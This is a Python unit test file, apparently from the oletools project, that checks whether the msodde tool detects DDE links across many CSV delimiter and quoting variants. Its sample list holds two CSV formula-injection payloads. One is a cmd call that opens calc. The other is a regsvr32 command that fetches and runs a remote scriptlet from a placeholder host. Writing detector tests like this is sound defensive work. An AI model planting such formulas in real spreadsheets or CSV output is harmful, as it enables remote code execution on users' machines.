test_csv.py
4.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python3
""" Check various csv examples """
import unittest
from tempfile import mkstemp
import os
from oletools import msodde
from tests.test_utils import OutputCapture
class TestCSV(unittest.TestCase):
""" Check various csv examples """
DO_DEBUG = False
def test_texts(self):
""" write some sample texts to file, run those """
SAMPLES = (
"=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''",
"=MSEXCEL|'\\..\\..\\..\Windows\System32\\regsvr32 /s /n /u " +
"/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''",
"completely innocent text"
)
LONG_SAMPLE_FACTOR = 100 # make len(sample) > CSV_SMALL_THRESH
DELIMITERS = ',\t ;|^'
QUOTES = '', '"' # no ' since samples use those "internally"
PREFIXES = ('', '{quote}item-before{quote}{delim}',
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR,
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR +
'{quote}item-before{quote}{delim}',
)
SUFFIXES = ('', '{delim}{quote}item-after{quote}',
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,
'{delim}{quote}item-after{quote}' +
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,
)
for sample_core in SAMPLES:
for prefix in PREFIXES:
for suffix in SUFFIXES:
for delim in DELIMITERS:
for quote in QUOTES:
# without quoting command is split at space or |
if quote == '' and delim in sample_core:
continue
sample = \
prefix.format(quote=quote, delim=delim) + \
quote + sample_core + quote + \
suffix.format(quote=quote, delim=delim)
output = self.write_and_run(sample)
n_links = len(self.get_dde_from_output(output))
desc = 'sample with core={0!r}, prefix-len {1}, ' \
'suffix-len {2}, delim {3!r} and quote ' \
'{4!r}'.format(sample_core, len(prefix),
len(suffix), delim, quote)
if 'innocent' in sample:
self.assertEqual(n_links, 0, 'found dde-link '
'in clean sample')
else:
msg = 'Failed to find dde-link in ' + desc
self.assertEqual(n_links, 1, msg)
if self.DO_DEBUG:
print('Worked: ' + desc)
def write_and_run(self, sample_text):
""" helper for test_texts: save text to file, run through msodde """
filename = None
handle = 0
try:
handle, filename = mkstemp(prefix='oletools-test-csv-', text=True)
os.write(handle, sample_text.encode('ascii'))
os.close(handle)
handle = 0
args = [filename, ]
if self.DO_DEBUG:
args += ['-l', 'debug']
with OutputCapture() as capturer:
capturer.reload_module(msodde) # re-create logger
ret_code = msodde.main(args)
self.assertEqual(ret_code, 0, 'checking sample resulted in '
'error:\n' + sample_text)
return capturer
except Exception:
raise
finally:
if handle:
os.close(handle)
handle = 0 # just in case
if filename:
if self.DO_DEBUG:
print('keeping for debug purposes: {0}'.format(filename))
else:
os.remove(filename)
filename = None # just in case
def get_dde_from_output(self, capturer):
""" helper to read dde links from captured output """
have_start_line = False
result = []
for line in capturer:
if self.DO_DEBUG:
print('captured: ' + line)
if not line.strip():
continue # skip empty lines
if have_start_line:
result.append(line)
elif line == 'DDE Links:':
have_start_line = True
self.assertTrue(have_start_line) # ensure output was complete
return result
# just in case somebody calls this file as a script
if __name__ == '__main__':
unittest.main()